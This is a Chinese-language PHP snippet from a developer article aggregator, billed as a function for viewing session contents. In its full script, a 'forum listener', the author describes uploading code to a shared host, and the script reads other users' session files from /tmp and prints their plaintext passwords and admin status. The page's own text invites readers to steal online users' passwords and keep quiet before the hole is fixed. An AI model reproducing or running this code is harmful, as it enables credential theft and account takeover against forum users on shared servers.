php查看session内容的函数

前端之家收集整理的这篇文章主要介绍了php查看session内容的函数前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "论坛监听器";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."
使用密码:".$passwd[2]."
使用模式:";
if($mode[1]==1)
print "管理员";
else
print "一般用户";
print"

偷窃他人密码是不道德行为请少少为之
";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,请再来一次,不要多打空格!";
$d->close();
} function login(){
?>


论坛监听器
<Meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<body bgcolor="#FFFFFF">
<div align="center">

论坛监听器



<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2">郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。

不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>

请输入你要查的用户名

<input type="text" name="username">



<input type="submit" name="submit1" value="我同意以上申明,开始查找">







<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

原文链接:https://www.f2er.com/php/29511.html

猜你在找的PHP相关文章